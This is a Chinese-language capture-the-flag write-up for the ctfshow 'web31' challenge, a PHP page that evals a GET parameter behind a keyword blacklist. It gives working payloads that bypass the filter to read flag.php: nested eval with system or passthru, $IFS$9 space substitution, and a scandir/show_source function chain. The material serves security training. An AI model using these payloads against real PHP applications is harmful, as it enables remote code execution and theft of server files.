当前位置: 首页 > article >正文

ctfshow-web入门-web31

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

1、该题目过滤了满足正则匹配的字符串,但是由于只是对参数进行了过滤,所以可以利用嵌套的方法来进行绕过:

?c=eval($_GET[a]);&a=system('cat flag.php');

也可利用passthru()函数来代替system函数。

?c=eval($_GET[a]);&a=passthru('cat flag.php');

这里的 cat 命令也可被 tac 命令替换。

2、因为passthru函数没有被过滤,所以可以直接使用passthru函数,但是由于空格被过滤,因此可以使用$IFS$9代替空格,$IFS$9的介绍可以参考以下博客:

浅谈CTF中命令执行与绕过的小技巧_$ifs$9-CSDN博客

使用$9,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

在php环境中%09也可以代替空格符号。

?c=passthru("tac\$IFS$9f*");

这里不能使用cat命令,因为是给c变量传参。

3、使用连续调用函数的方法,实现对flag的输出。

localeconv()函数可以返回一个小数点 和数组,小数点位于数组的第一位。

pos()函数输出数组的第一位,即输出小数点。

scandir()函数,扫描目录,由于 . 代表当前目录,所以会扫描当前目录中的文件。

使用array_reverse()函数,颠倒查询到的目录下的文件的位置,即将flag.php文件移动到第二个位置。

利用next()函数,读取第二个位置的文件。

show_source();输出源码

所以最终payload的为:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));


http://www.kler.cn/a/371012.html

相关文章:

  • Unity3D手机游戏发热发烫优化指南与技巧详解
  • excel 整理表格,分割一列变成多列数据
  • 如何解决Webview和H5缓存问题,确保每次加载最新版本的资源
  • 美摄科技为企业打造专属PC端视频编辑私有化部署方案
  • 深入浅出 OpenResty
  • CAPL如何设置TCP/IP传输层动态端口范围
  • 合约门合同全生命周期管理系统:企业智能合同管理的新时代
  • Nginx 迁移到 Caddy:一次完整的反向代理配置迁移实践
  • 基于SpringBoot的图书管理系统 【附源码】
  • leetcode - 257. 二叉树的所有路径
  • 堆的应用——堆排序和TOP-K问题
  • Redis_写时复制(cow)
  • 个人防护装备分割系统:全面扶持小白
  • 了解AIGC——自然语言处理与生成
  • 测试造数,excel转insert语句
  • 医院管理系统设计与实现
  • Vue中使用 vuedraggable进行拖拽
  • JavaScript基本内容续集之函数和对象
  • 服务攻防之开发组件安全
  • 18 Docker容器集群网络架构:一、etcd 概述
  • mit6824-04-主备份复制(VM-FT论文)
  • 小小猫棒onu替换家用光猫,薅运营商带宽羊毛,突破1000M
  • golang 后端验证码 模拟接口 post get ,postman测试
  • 洛谷 P4251 [SCOI2015] 小凸玩矩阵
  • python实战项目49:足彩开奖竞猜数据抓取
  • uni-app如何接收uni.$emit()里面传递的内容